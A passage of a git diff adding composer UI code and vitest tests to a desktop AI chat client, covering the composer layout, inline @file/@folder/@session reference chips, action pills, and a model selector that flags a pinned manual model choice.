+                data-dragging={dragging ? '' : undefined}
+                data-slot="composer-drag-region"
+                onDoubleClick={handleComposerToggle}
+              />
+            )}
+            <div className="relative w-full rounded-[inherit]">
+              <div
+                className={cn(
+                  'group/composer-surface relative z-4 isolate grid grid-rows-[auto_1fr] overflow-hidden rounded-[inherit] border border-[color-mix(in_srgb,var(--dt-composer-ring)_calc(18%*var(--composer-ring-strength)),var(--dt-input))]',
+                  COMPOSER_DROP_FADE_CLASS,
+                  dragActive && COMPOSER_DROP_ACTIVE_CLASS
+                )}
+                data-slot="composer-surface"
+                ref={composerSurfaceRef}
+              >
+                <div
+                  aria-hidden
+                  className={cn(
+                    'pointer-events-none absolute inset-0 -z-10 rounded-[inherit]',
+                    composerFill,
+                    composerSurfaceGlass
+                  )}
+                />
+                <CodingStatusRow
+                  onBranchOff={handleBranchOff}
+                  onConvertBranch={handleConvertBranch}
+                  onListBranches={handleListBranches}
+                  // A tile's rail reviews ITS worktree: pin the pane's scope to
+                  // this surface's cwd. Main keeps the classic follow-the-
+                  // active-session scope (null).
+                  onOpen={() => toggleReview(scope.target === 'main' ? null : (cwd ?? null))}
+                  onOpenWorktree={openInWorktree}
+                  onSwitchBranch={handleSwitchBranch}
+                  repoPath={cwd}
+                />
+                <div
+                  className={cn(
+                    'relative z-1 flex min-h-0 w-full flex-col gap-(--composer-row-gap) overflow-hidden rounded-[inherit] px-(--composer-surface-pad-x) py-(--composer-surface-pad-y) transition-opacity duration-200 ease-out',
+                    scrolledUp
+                      ? 'opacity-30 group-hover/composer:opacity-100 group-focus-within/composer-surface:opacity-100'
+                      : 'opacity-100'
+                  )}
+                  data-slot="composer-fade"
+                >
+                  {/* Contribution seams: banners above, a row below, inline
+                    additions beside the "+" menu and before the controls.
+                    All four render nothing until something contributes. */}
+                  <ContribSlot area={COMPOSER_AREAS.top} />
+                  <VoiceActivity state={voiceActivityState} />
+                  <VoicePlaybackActivity />
+                  {queueEdit && editingQueuedPrompt && (
+                    <div className="flex items-center justify-between gap-2 rounded-lg border border-[color-mix(in_srgb,var(--dt-composer-ring)_32%,transparent)] bg-accent/18 px-2 py-1">
+                      <div className="min-w-0 text-[0.7rem] text-muted-foreground/88">
+                        {t.composer.editingQueuedInComposer}
+                      </div>
+                      <div className="flex shrink-0 items-center gap-1">
+                        <Button
+                          className="h-6 rounded-md px-2 text-[0.68rem]"
+                          onClick={() => exitQueuedEdit('cancel')}
+                          type="button"
+                          variant="ghost"
+                        >
+                          {t.common.cancel}
+                        </Button>
+                        <Button
+                          className="h-6 rounded-md px-2 text-[0.68rem]"
+                          onClick={() => exitQueuedEdit('save')}
+                          type="button"
+                        >
+                          {t.common.save}
+                        </Button>
+                      </div>
+                    </div>
+                  )}
+                  {attachments.length > 0 && <AttachmentList attachments={attachments} onRemove={onRemoveAttachment} />}
+                  <div
+                    className={cn(
+                      'grid w-full',
+                      stacked
+                        ? 'grid-cols-[auto_1fr] gap-(--composer-row-gap) [grid-template-areas:"input_input"_"menu_controls"]'
+                        : 'grid-cols-[auto_1fr_auto] items-center gap-(--composer-control-gap) [grid-template-areas:"menu_input_controls"]'
+                    )}
+                  >
+                    <div className="flex translate-y-[3px] items-start gap-(--composer-control-gap) self-start [grid-area:menu]">
+                      {contextMenu}
+                      <ContribSlot area={COMPOSER_AREAS.leading} />
+                    </div>
+                    <div className="min-w-0 [grid-area:input]">{input}</div>
+                    <div className="flex items-center justify-end gap-(--composer-control-gap) [grid-area:controls]">
+                      <ContribSlot area={COMPOSER_AREAS.actions} />
+                      {controls}
+                    </div>
+                  </div>
+                  <ContribSlot area={COMPOSER_AREAS.bottom} />
+                </div>
+              </div>
+            </div>
+          </ComposerPrimitive.Root>
+          {/* Underside: chrome-free strip BELOW the composer. Outside the root
+              for the same reason as the micro actions — it must not fall inside
+              the pop-out drag region. Same px as the strip above, so the two
+              bracket the composer on one vertical line. */}
+          <div className={cn(composerFloatingStrip, 'px-[5px] pt-1.5 empty:hidden')}>
+            <ContribSlot area={COMPOSER_AREAS.underside} />
+          </div>
+        </div>
+      </ComposerPrimitive.Unstable_TriggerPopoverRoot>
+
+      <UrlDialog
+        inputRef={urlInputRef}
+        onChange={setUrlValue}
+        onOpenChange={setUrlOpen}
+        onSubmit={submitUrl}
+        open={urlOpen}
+        value={urlValue}
+      />
+    </>
+  )
+}
+
+export function ChatBarFallback() {
+  return (
+    <div
+      className={cn(
+        'group/composer absolute bottom-0 left-1/2 z-30 w-[min(var(--composer-width),calc(100%-2rem))] max-w-full -translate-x-1/2 rounded-2xl pt-2 pb-[var(--composer-shell-pad-block-end)]',
+        'bg-linear-to-b from-transparent to-background/55'
+      )}
+      data-slot="composer-root"
+    >
+      <div className="composer-fallback-surface relative isolate h-(--composer-fallback-height) w-full rounded-[inherit] border border-[color-mix(in_srgb,var(--dt-composer-ring)_calc(18%*var(--composer-ring-strength)),var(--dt-input))]">
+        <div
+          aria-hidden
+          className={cn(
+            'pointer-events-none absolute inset-0 -z-10 rounded-[inherit]',
+            composerFill,
+            composerSurfaceGlass
+          )}
+        />
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/chat/composer/inline-references.test.ts b/ui-desktop/src/app/chat/composer/inline-references.test.ts
new file mode 100644
index 000000000..952f6bd85
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/inline-references.test.ts
@@ -0,0 +1,72 @@
+import { describe, expect, it } from 'vitest'
+
+import { refAttrs, refAttrsHtml } from '@/components/assistant-ui/directive-text'
+import { REFERENCE_STYLES, referenceKind, referenceStyle } from '@/components/assistant-ui/reference-kinds'
+
+/**
+ * There is ONE inline-reference system: `class="ref"` + `data-ref="<kind>"`.
+ * A pasted link, an `@file:` chip, a `/skill`, a `@session:` the agent wrote —
+ * all the same markup, styled by the `.ref` rules in styles.css.
+ */
+describe('the inline reference contract', () => {
+  it('marks any element as a reference of a given kind', () => {
+    expect(refAttrs('file')).toEqual({ className: 'ref', 'data-ref': 'file' })
+    expect(refAttrsHtml('skill')).toBe('class="ref" data-ref="skill"')
+  })
+
+  it('an unkinded reference is a plain link, not a broken one', () => {
+    // A bare external link has no kind — it keeps the default link colour
+    // rather than being tagged with a wrong one.
+    expect(refAttrs()).toEqual({ className: 'ref' })
+    expect(refAttrsHtml()).toBe('class="ref"')
+  })
+
+  it('normalises an unknown kind instead of emitting it raw', () => {
+    // A kind CSS has no rule for would silently render unstyled; coercing to
+    // `other` keeps it inside the system.
+    expect(refAttrs('wat')['data-ref']).toBe('other')
+    expect(referenceKind('wat')).toBe('other')
+  })
+
+  it('ships no colour from TypeScript — the theme owns every accent', () => {
+    // The whole point of keying on `data-ref`: a skin restyles all references
+    // at once, and no hex or color-mix() is hardcoded in a component.
+    for (const [kind, style] of Object.entries(REFERENCE_STYLES)) {
+      expect(style, `${kind} must not carry a colour`).not.toHaveProperty('color')
+    }
+
+    expect(JSON.stringify(refAttrs('url'))).not.toMatch(/color|#[0-9a-f]{3}/i)
+  })
+
+  it('gives every kind a glyph and a label', () => {
+    for (const [kind, style] of Object.entries(REFERENCE_STYLES)) {
+      expect(style.codicon, `${kind} codicon`).toBeTruthy()
+      expect(style.label, `${kind} label`).toBeTruthy()
+
+      // Emoji rows render the emoji itself instead of a glyph.
+      if (kind !== 'emoji') {
+        expect(style.paths.length, `${kind} paths`).toBeGreaterThan(0)
+      }
+    }
+  })
+
+  it('keeps commands and skills visually distinct', () => {
+    // Different data-ref values, so the stylesheet can accent them apart.
+    expect(refAttrs('skill')['data-ref']).not.toBe(refAttrs('command')['data-ref'])
+    expect(referenceStyle('skill').codicon).not.toBe(referenceStyle('command').codicon)
+  })
+})
+
+describe('references are text, not badges', () => {
+  it('carries no layout, padding, or background of its own', () => {
+    // Everything visual lives in the stylesheet. If a component starts adding
+    // its own chrome here, that's the drift this system exists to prevent.
+    const { className } = refAttrs('file')
+
+    expect(className).toBe('ref')
+
+    for (const chrome of ['bg-', 'rounded', 'px-', 'py-', 'border', 'inline-flex', 'text-[']) {
+      expect(className).not.toContain(chrome)
+    }
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/inline-refs.ts b/ui-desktop/src/app/chat/composer/inline-refs.ts
new file mode 100644
index 000000000..5e282f6a0
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/inline-refs.ts
@@ -0,0 +1,181 @@
+import { formatRefValue } from '@/components/assistant-ui/directive-text'
+import { translateNow } from '@/i18n'
+import { contextPath } from '@/lib/chat-runtime'
+
+import type { DroppedFile } from '../hooks/use-composer-actions'
+
+import {
+  composerPlainText,
+  normalizeComposerEditorDom,
+  placeCaretEnd,
+  refChipElement,
+  RICH_INPUT_SLOT
+} from './rich-editor'
+
+/** A chip to insert: a raw `@kind:value` string, or a typed value + display label. */
+export type InlineRefInput = string | { kind: string; label?: string; value: string }
+
+/** A dragged sidebar session — carried in-memory by the pointer drag session
+ *  (session-drag.ts); sessions never ride native DnD. */
+export interface SessionDragPayload {
+  id: string
+  profile: string
+  title: string
+}
+
+/** A session's friendly display label — its title, or a localized fallback. */
+export const sessionLabel = ({ id, title }: SessionDragPayload) =>
+  title || translateNow('sidebar.row.untitledChat', id.slice(0, 8))
+
+/** Build a `@session:<profile>/<id>` chip. Value carries the metadata the agent
+ * needs to resolve the link (session_search); label shows the friendly title. */
+export function sessionInlineRef(payload: SessionDragPayload): InlineRefInput {
+  return { kind: 'session', label: sessionLabel(payload), value: `${payload.profile || 'default'}/${payload.id}` }
+}
+
+export function dragHasAttachments(transfer: DataTransfer | null, pathsMime: string) {
+  if (!transfer) {
+    return false
+  }
+
+  if (Array.from(transfer.types || []).includes(pathsMime)) {
+    return true
+  }
+
+  if (Array.from(transfer.types || []).includes('Files')) {
+    return true
+  }
+
+  return Array.from(transfer.items || []).some(item => item.kind === 'file')
+}
+
+export function droppedFileInlineRef(candidate: DroppedFile, cwd: string | null | undefined) {
+  if (!candidate.path) {
+    return null
+  }
+
+  const rel = contextPath(candidate.path, cwd || '')
+
+  if (candidate.line) {
+    const { line, lineEnd } = candidate
+    const range = lineEnd && lineEnd > line ? `${line}-${lineEnd}` : `${line}`
+
+    return `@line:${formatRefValue(`${rel}:${range}`)}`
+  }
+
+  const kind = candidate.isDirectory ? 'folder' : 'file'
+
+  return `@${kind}:${formatRefValue(rel)}`
+}
+
+/** Resolve a batch of drops to their inline `@file:`/`@line:`/`@folder:` refs,
+ * dropping any that carry no path. */
+export function droppedFileInlineRefs(candidates: DroppedFile[], cwd: string | null | undefined): string[] {
+  return candidates.map(candidate => droppedFileInlineRef(candidate, cwd)).filter((ref): ref is string => Boolean(ref))
+}
+
+function parseInlineRef(ref: InlineRefInput): { kind: string; label?: string; rawValue: string } | null {
+  if (typeof ref !== 'string') {
+    return { kind: ref.kind, label: ref.label, rawValue: ref.value }
+  }
+
+  const match = ref.match(/^@([^:]+):(.+)$/)
+
+  if (!match) {
+    return null
+  }
+
+  return { kind: match[1] || 'file', rawValue: match[2] || '' }
+}
+
+function plainTextInRange(editor: HTMLDivElement, range: Range, edge: 'after' | 'before') {
+  const slice = range.cloneRange()
+  slice.selectNodeContents(editor)
+
+  if (edge === 'before') {
+    slice.setEnd(range.startContainer, range.startOffset)
+  } else {
+    slice.setStart(range.endContainer, range.endOffset)
+  }
+
+  // Carry the editor's slot marker: composerPlainText appends a trailing "\n"
+  // to any other block element, so a bare <div> made `beforeText` always look
+  // like it ended in whitespace and the separating space was never inserted —
+  // a chip dropped after a word came out glued to it (`review@file:...`).
+  const container = document.createElement('div')
+  container.dataset.slot = RICH_INPUT_SLOT
+  container.appendChild(slice.cloneContents())
+
+  return composerPlainText(container)
+}
+
+function buildRefFragment(
+  refs: readonly { kind: string; label?: string; rawValue: string }[],
+  { needsBeforeSpace, needsAfterSpace }: { needsAfterSpace: boolean; needsBeforeSpace: boolean }
+) {
+  const fragment = document.createDocumentFragment()
+
+  if (needsBeforeSpace) {
+    fragment.append(document.createTextNode(' '))
+  }
+
+  refs.forEach((ref, index) => {
+    if (index > 0) {
+      fragment.append(document.createTextNode(' '))
+    }
+
+    fragment.append(refChipElement(ref.kind, ref.rawValue, ref.label))
+  })
+
+  if (needsAfterSpace) {
+    fragment.append(document.createTextNode(' '))
+  }
+
+  return fragment
+}
+
+export function insertInlineRefsIntoEditor(editor: HTMLDivElement, refs: readonly InlineRefInput[]) {
+  const parsed = refs.map(parseInlineRef).filter((ref): ref is NonNullable<typeof ref> => ref !== null)
+
+  if (!parsed.length) {
+    return null
+  }
+
+  editor.focus({ preventScroll: true })
+
+  const selection = window.getSelection()
+
+  const range =
+    selection?.rangeCount && editor.contains(selection.getRangeAt(0).commonAncestorContainer)
+      ? selection.getRangeAt(0)
+      : null
+
+  if (range && selection) {
+    const beforeText = plainTextInRange(editor, range, 'before')
+    const afterText = plainTextInRange(editor, range, 'after')
+
+    range.insertNode(
+      buildRefFragment(parsed, {
+        needsAfterSpace: afterText.length === 0 || !/^\s/.test(afterText),
+        needsBeforeSpace: beforeText.length > 0 && !/\s$/.test(beforeText)
+      })
+    )
+    range.collapse(false)
+    selection.removeAllRanges()
+    selection.addRange(range)
+  } else {
+    const current = composerPlainText(editor)
+
+    editor.append(
+      buildRefFragment(parsed, {
+        needsAfterSpace: true,
+        needsBeforeSpace: current.length > 0 && !/\s$/.test(current)
+      })
+    )
+    placeCaretEnd(editor)
+  }
+
+  normalizeComposerEditorDom(editor)
+
+  return composerPlainText(editor)
+}
diff --git a/ui-desktop/src/app/chat/composer/micro-actions.tsx b/ui-desktop/src/app/chat/composer/micro-actions.tsx
new file mode 100644
index 000000000..65e3729ea
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/micro-actions.tsx
@@ -0,0 +1,71 @@
+import { memo, useState } from 'react'
+
+import { composerFloatingPill } from '@/components/chat/composer-dock'
+import { Codicon } from '@/components/ui/codicon'
+import { useSessionSlice } from '@/lib/use-session-slice'
+import { cn } from '@/lib/utils'
+import { $composerActionsBySession, type ComposerAction } from '@/store/composer-actions'
+import { notifyError } from '@/store/notifications'
+
+/**
+ * Floating pill — the shared treatment for a control that sits over the
+ * composer (`composerFloatingPill`), plus this strip's own width cap and
+ * disabled state.
+ *
+ * NEVER `pointer-events-none`, not even when disabled. The pop-out drag region
+ * is an `absolute` sibling behind these pills, so a pill that stops taking
+ * pointer events hands the hit test straight to it — and a dead-looking badge
+ * becomes a grab handle that floats the composer.
+ */
+const PILL = cn(
+  composerFloatingPill,
+  'max-w-56',
+  'disabled:cursor-default disabled:opacity-50 disabled:hover:bg-(--composer-fill)',
+  'focus-visible:outline-none focus-visible:ring-[0.1875rem] focus-visible:ring-ring/50'
+)
+
+/**
+ * The micro-action pills. Layout-free on purpose — the composer owns the strip
+ * (`composerFloatingStrip`), this owns only the pills, so the strip above the
+ * surface and the `composer.underside` strip below it can't drift apart.
+ */
+export const ActionBadges = memo(function ActionBadges({ sessionId }: { sessionId: null | string }) {
+  const actions = useSessionSlice($composerActionsBySession, sessionId)
+  // A pill can kick off async work (a gateway call, a submit). Track which one
+  // is in flight so it can spin and lock instead of double-firing.
+  const [runningId, setRunningId] = useState<null | string>(null)
+
+  const run = async (action: ComposerAction) => {
+    if (runningId || !sessionId) {
+      return
+    }
+
+    setRunningId(action.id)
+
+    try {
+      await action.run(sessionId)
+    } catch (error) {
+      notifyError(error, action.label)
+    } finally {
+      setRunningId(null)
+    }
+  }
+
+  return actions.map(action => {
+    const running = runningId === action.id
+    const glyph = running ? 'loading' : action.icon
+
+    return (
+      <button
+        className={PILL}
+        disabled={action.disabled || Boolean(runningId)}
+        key={action.id}
+        onClick={() => void run(action)}
+        type="button"
+      >
+        {glyph && <Codicon className="shrink-0 opacity-70" name={glyph} size="0.75rem" spinning={running} />}
+        <span className="truncate">{action.label}</span>
+      </button>
+    )
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/model-pill.test.tsx b/ui-desktop/src/app/chat/composer/model-pill.test.tsx
new file mode 100644
index 000000000..4f9d56874
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/model-pill.test.tsx
@@ -0,0 +1,116 @@
+import { cleanup, render, screen } from '@testing-library/react'
+import { atom } from 'nanostores'
+import { afterEach, describe, expect, it } from 'vitest'
+
+import type { ChatBarState } from '@/app/chat/composer/types'
+import { type SessionView, SessionViewProvider } from '@/app/chat/session-view'
+import { $activeSessionId, $currentModel, setCurrentModel, setCurrentModelSource } from '@/store/session'
+
+import { ModelPill } from './model-pill'
+
+const modelState = (over: Partial<ChatBarState['model']> = {}): ChatBarState['model'] => ({
+  canSwitch: true,
+  model: 'gpt-6',
+  provider: 'openai',
+  ...over
+})
+
+afterEach(() => {
+  cleanup()
+  $activeSessionId.set(null)
+  setCurrentModel('')
+  setCurrentModelSource('')
+})
+
+// #62055: a manual composer pick is sticky and silently overrides the
+// Settings → Model default for every NEW chat. The pill must say so.
+describe('ModelPill pinned-override badge', () => {
+  it('shows the pin dot on a draft running a manual pick', () => {
+    setCurrentModel('deepseek/deepseek-v4-flash')
+    setCurrentModelSource('manual')
+    $activeSessionId.set(null)
+
+    render(<ModelPill disabled={false} model={modelState({ model: 'deepseek/deepseek-v4-flash' })} />)
+
+    expect(screen.getByTestId('model-pinned-dot')).toBeTruthy()
+  })
+
+  it('stays quiet when the composer reflects the profile default', () => {
+    setCurrentModel('google/gemma-4-26b-a4b-it:free')
+    setCurrentModelSource('default')
+    $activeSessionId.set(null)
+
+    render(<ModelPill disabled={false} model={modelState()} />)
+
+    expect(screen.queryByTestId('model-pinned-dot')).toBeNull()
+  })
+
+  it('stays quiet on a live session (footer shows that session, not the pin)', () => {
+    setCurrentModel('deepseek/deepseek-v4-flash')
+    setCurrentModelSource('manual')
+    $activeSessionId.set('live-1')
+
+    render(<ModelPill disabled={false} model={modelState()} />)
+
+    expect(screen.queryByTestId('model-pinned-dot')).toBeNull()
+  })
+
+  it('is exercised in both render paths', () => {
+    setCurrentModel('deepseek/deepseek-v4-flash')
+    setCurrentModelSource('manual')
+    $activeSessionId.set(null)
+
+    // Fallback (no live menu) path.
+    const { unmount } = render(
+      <ModelPill disabled={false} model={modelState({ model: 'deepseek/deepseek-v4-flash' })} />
+    )
+
+    expect(screen.getByTestId('model-pinned-dot')).toBeTruthy()
+    unmount()
+
+    // Live-menu (dropdown) path.
+    render(
+      <ModelPill
+        disabled={false}
+        model={modelState({ model: 'deepseek/deepseek-v4-flash', modelMenuContent: <div /> })}
+      />
+    )
+    expect(screen.getByTestId('model-pinned-dot')).toBeTruthy()
+    expect($currentModel.get()).toBe('deepseek/deepseek-v4-flash')
+  })
+})
+
+describe('ModelPill per-surface model label', () => {
+  it('shows the chat-bar model even when the primary global differs', () => {
+    setCurrentModel('primary/model')
+    $activeSessionId.set('primary-runtime')
+
+    const tileView: SessionView = {
+      kind: 'tile',
+      $awaitingResponse: atom(false),
+      $busy: atom(false),
+      $cwd: atom(''),
+      $fast: atom(false),
+      $lastVisibleIsUser: atom(false),
+      $messages: atom([]),
+      $messagesEmpty: atom(true),
+      $model: atom('tile/claude-sonnet'),
+      $provider: atom('anthropic'),
+      $reasoningEffort: atom('high'),
+      $runtimeId: atom('tile-runtime'),
+      $storedId: atom('stored-tile')
+    }
+
+    render(
+      <SessionViewProvider value={tileView}>
+        <ModelPill
+          disabled={false}
+          model={modelState({ model: 'tile/claude-sonnet', provider: 'anthropic', modelMenuContent: <div /> })}
+        />
+      </SessionViewProvider>
+    )
+
+    expect(screen.getByText('Sonnet · High')).toBeTruthy()
+    expect(screen.queryByText(/primary/i)).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/model-pill.tsx b/ui-desktop/src/app/chat/composer/model-pill.tsx
new file mode 100644
index 000000000..e41e31892
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/model-pill.tsx
@@ -0,0 +1,174 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useState } from 'react'
+
+import { useSessionView } from '@/app/chat/session-view'
+import { ModelMenuCloseContext } from '@/app/shell/model-menu-panel'
+import { Button } from '@/components/ui/button'
+import { DropdownMenu, DropdownMenuContent, DropdownMenuTrigger } from '@/components/ui/dropdown-menu'
+import { GlyphSpinner } from '@/components/ui/glyph-spinner'
+import { releaseTypingFocus } from '@/components/ui/keyboard-first'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { ChevronDown } from '@/lib/icons'
+import { formatModelStatusLabel } from '@/lib/model-status-label'
+import { cn } from '@/lib/utils'
+import { $currentModelSource, $defaultReasoningEffort, setModelPickerOpen } from '@/store/session'
+
+import { onComposerModelMenuRequest } from './focus'
+import { useComposerScope } from './scope'
+import type { ChatBarState } from './types'
+
+const PILL = cn(
+  'h-(--composer-control-size) max-w-40 shrink-0 gap-1 rounded-md px-2 text-xs font-normal',
+  'text-(--ui-text-tertiary) hover:bg-(--chrome-action-hover) hover:text-foreground'
+)
+
+/**
+ * Composer model selector — the relocated status-bar pill. Reuses the live
+ * `model.options` dropdown (`modelMenuContent`) verbatim; falls back to the
+ * full picker when the gateway is closed and no live menu exists.
+ *
+ * Display follows THIS surface's SessionView (primary or tile) — never the
+ * primary-only globals — so side-by-side panes each show their own model.
+ */
+export function ModelPill({
+  compact = false,
+  disabled,
+  model
+}: {
+  compact?: boolean
+  disabled: boolean
+  model: ChatBarState['model']
+}) {
+  const copy = useI18n().t.shell.statusbar
+  const view = useSessionView()
+  // Prefer the chat-bar snapshot (already view-scoped by ChatView); fall back
+  // to the live SessionView atoms so a mid-flight session.info still paints.
+  const viewModel = useStore(view.$model)
+  const viewProvider = useStore(view.$provider)
+  const currentModel = model.model || viewModel
+  const currentProvider = model.provider || viewProvider
+  const fastMode = useStore(view.$fast)
+  const reasoningEffort = useStore(view.$reasoningEffort)
+  const modelSource = useStore($currentModelSource)
+  const defaultEffort = useStore($defaultReasoningEffort)
+  const runtimeId = useStore(view.$runtimeId)
+  const [open, setOpen] = useState(false)
+  const scope = useComposerScope()
+  const hasLiveMenu = Boolean(model.modelMenuContent)
+
+  // The `composer.modelPicker` hotkey, routed to exactly one surface (the pane
+  // under the pointer, else the active composer — see requestModelMenuToggle).
+  // Toggles the live dropdown; with no live menu (gateway closed) it opens the
+  // full picker dialog, same as clicking the pill.
+  useEffect(
+    () =>
+      onComposerModelMenuRequest(target => {
+        if (target !== scope.target || disabled) {
+          return
+        }
+
+        if (hasLiveMenu) {
+          setOpen(prev => !prev)
+        } else {
+          setModelPickerOpen(true)
+        }
+      }),
+    [scope.target, disabled, hasLiveMenu]
+  )
+
+  // The composer pick is sticky: a manual selection is pinned and every NEW
+  // chat uses it instead of the Settings → Model default — silently, which has
+  // cost users real money on a forgotten paid-model pick (#62055). Surface the
+  // pin whenever a draft (no live session) is running on a manual override. A
+  // live session's footer reflects that session's model, so no badge there.
+  // Tiles always have a runtime — pin badge is primary-draft only.
+  const pinnedOverride =
+    view.kind === 'primary' && !runtimeId && modelSource === 'manual' && Boolean(currentModel.trim())
+
+  // The model resolves a beat after the gateway/session comes up. Rather than
+  // flash a literal "No model", show a quiet loader (inherits the pill text
+  // color at half opacity) until a model lands.
+  const label = compact ? (
+    <ChevronDown className="size-3.5 shrink-0 opacity-70" />
+  ) : (
+    <>
+      {currentModel.trim() ? (
+        <span className="truncate">
+          {formatModelStatusLabel(currentModel, { defaultEffort, fastMode, reasoningEffort })}
+        </span>
+      ) : (
+        <GlyphSpinner className="opacity-50" spinner="braille" />
+      )}
+      {pinnedOverride && (
+        <span
+          aria-label={copy.modelPinned}
+          className="size-1 shrink-0 rounded-full bg-(--ui-accent)"
+          data-testid="model-pinned-dot"
+          role="img"
+        />
+      )}
+      <ChevronDown className="size-2.5 shrink-0 opacity-50" />
+    </>
+  )
+
+  // Compact (floating composer): a snug square holding just the chevron — no pill
+  // padding, sized to match the other composer icon buttons.
+  const pillClass = compact
+    ? cn(
+        'size-(--composer-control-size) shrink-0 justify-center gap-0 rounded-md p-0',
+        'text-(--ui-text-tertiary) hover:bg-(--chrome-action-hover) hover:text-foreground'
+      )
+    : PILL
+
+  const baseTitle = currentProvider
+    ? copy.modelTitle(currentProvider, currentModel || copy.modelNone)
+    : copy.switchModel
+
+  const title = pinnedOverride ? `${baseTitle} — ${copy.modelPinned}` : baseTitle
+
+  if (!model.modelMenuContent) {
+    return (
+      <Tip label={pinnedOverride ? `${copy.openModelPicker} — ${copy.modelPinned}` : copy.openModelPicker} side="top">
+        <Button
+          aria-label={copy.openModelPicker}
+          className={pillClass}
+          disabled={disabled}
+          onClick={() => setModelPickerOpen(true)}
+          type="button"
+          variant="ghost"
+        >
+          {label}
+        </Button>
+      </Tip>
+    )
+  }
+
+  // Closing the menu ends its claim on the keyboard: Radix restores focus to
+  // this pill (a toolbar button), so without the release the Enter that
+  // committed a model also swallows whatever you type next.
+  const setMenuOpen = (next: boolean) => {
+    setOpen(next)
+
+    if (!next) {
+      releaseTypingFocus()
+    }
+  }
+
+  return (
+    <DropdownMenu onOpenChange={setMenuOpen} open={open}>
+      <Tip label={title} side="top">
+        <DropdownMenuTrigger asChild>
+          <Button aria-label={title} className={pillClass} disabled={disabled} type="button" variant="ghost">
+            {label}
+          </Button>
+        </DropdownMenuTrigger>
+      </Tip>
+      <DropdownMenuContent align="end" className="w-64 p-0" side="top" sideOffset={8}>
+        <ModelMenuCloseContext.Provider value={() => setMenuOpen(false)}>
+          {model.modelMenuContent}
+        </ModelMenuCloseContext.Provider>
+      </DropdownMenuContent>
+    </DropdownMenu>
+  )
+}
diff --git a/ui-desktop/src/app/chat/composer/path-refs.test.ts b/ui-desktop/src/app/chat/composer/path-refs.test.ts
new file mode 100644
index 000000000..da7cf1dc6
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/path-refs.test.ts
@@ -0,0 +1,103 @@
+import type { KeyboardEvent } from 'react'
+import { describe, expect, it } from 'vitest'
+
+import { chipTypedPathOnSpace, pathifyRefs } from './path-refs'
+import { composerPlainText, RICH_INPUT_SLOT } from './rich-editor'
+
+/**
+ * Tab-descending into a folder from the `@` popover leaves a bare
+ * `@apps/desktop/` in the editor. That is not a reference — the backend's
+ * REFERENCE_PATTERN only matches `@kind:value` — so it used to submit as plain
+ * text and silently attach nothing.
+ */
+
+/** An editor holding `text` with a collapsed caret at its end, plus the space
+ *  keydown the composer would hand `chipTypedPathOnSpace`. */
+const spaceOn = (text: string) => {
+  const editor = document.createElement('div')
+  editor.dataset.slot = RICH_INPUT_SLOT
+  editor.textContent = text
+  document.body.append(editor)
+
+  const selection = window.getSelection()!
+  const range = document.createRange()
+
+  range.setStart(editor.firstChild!, text.length)
+  range.collapse(true)
+  selection.removeAllRanges()
+  selection.addRange(range)
+
+  return { editor, event: { currentTarget: editor, key: ' ' } as KeyboardEvent<HTMLDivElement> }
+}
+
+describe('pathifyRefs', () => {
+  it('promotes a Tab-descended folder token', () => {
+    expect(pathifyRefs('look at @apps/desktop/')).toBe('look at @folder:`apps/desktop`')
+  })
+
+  it('promotes a typed file path', () => {
+    expect(pathifyRefs('read @src/main.ts please')).toBe('read @file:`src/main.ts` please')
+  })
+
+  it('promotes every bare path in one message', () => {
+    expect(pathifyRefs('@apps/desktop/ and @src/main.ts')).toBe('@folder:`apps/desktop` and @file:`src/main.ts`')
+  })
+
+  it('leaves an already-typed directive alone', () => {
+    const text = 'look at @folder:`apps/desktop` ok'
+
+    expect(pathifyRefs(text)).toBe(text)
+  })
+
+  it('leaves a handle alone', () => {
+    expect(pathifyRefs('cc @teknium1 on this')).toBe('cc @teknium1 on this')
+  })
+
+  it('leaves simple refs alone', () => {
+    expect(pathifyRefs('check @diff and @staged')).toBe('check @diff and @staged')
+  })
+
+  it('leaves an email alone', () => {
+    expect(pathifyRefs('mail me at brooklyn@nous.dev/x')).toBe('mail me at brooklyn@nous.dev/x')
+  })
+
+  it('is a no-op without an @', () => {
+    expect(pathifyRefs('nothing here')).toBe('nothing here')
+  })
+})
+
+describe('chipTypedPathOnSpace', () => {
+  it('chips a Tab-descended folder token into a real @folder: chip', () => {
+    const { editor, event } = spaceOn('look at @apps/desktop/')
+
+    expect(chipTypedPathOnSpace(event)).toBe(true)
+
+    const chip = editor.querySelector('[data-ref-text]')
+
+    expect(chip?.getAttribute('data-ref-kind')).toBe('folder')
+    expect(chip?.getAttribute('data-ref-id')).toBe('apps/desktop')
+    expect(chip?.textContent).toContain('desktop')
+    expect(composerPlainText(editor)).toBe('look at @folder:`apps/desktop` ')
+  })
+
+  it('chips a typed file path', () => {
+    const { editor, event } = spaceOn('read @src/main.ts')
+
+    expect(chipTypedPathOnSpace(event)).toBe(true)
+    expect(editor.querySelector('[data-ref-kind="file"]')).not.toBeNull()
+    expect(composerPlainText(editor)).toBe('read @file:`src/main.ts` ')
+  })
+
+  it('leaves a handle alone', () => {
+    const { editor, event } = spaceOn('cc @teknium1')
+
+    expect(chipTypedPathOnSpace(event)).toBe(false)
+    expect(editor.querySelector('[data-ref-text]')).toBeNull()
+  })
+
+  it('leaves an already-typed ref alone', () => {
+    const { event } = spaceOn('look at @folder:`apps/desktop`')
+
+    expect(chipTypedPathOnSpace(event)).toBe(false)
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/path-refs.ts b/ui-desktop/src/app/chat/composer/path-refs.ts
new file mode 100644
index 000000000..c326727af
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/path-refs.ts
@@ -0,0 +1,103 @@
+/**
+ * Bare-path recognition for the composer. Walking into a folder from the `@`
+ * popover (Tab) re-types the token as a bare `@apps/desktop/` so the next
+ * `complete.path` lists that folder's children. That's right while typing, but
+ * a bare token is not a reference: `REFERENCE_PATTERN` only matches
+ * `@kind:value`, so a draft sent with one attaches nothing and renders as
+ * plain text instead of a chip.
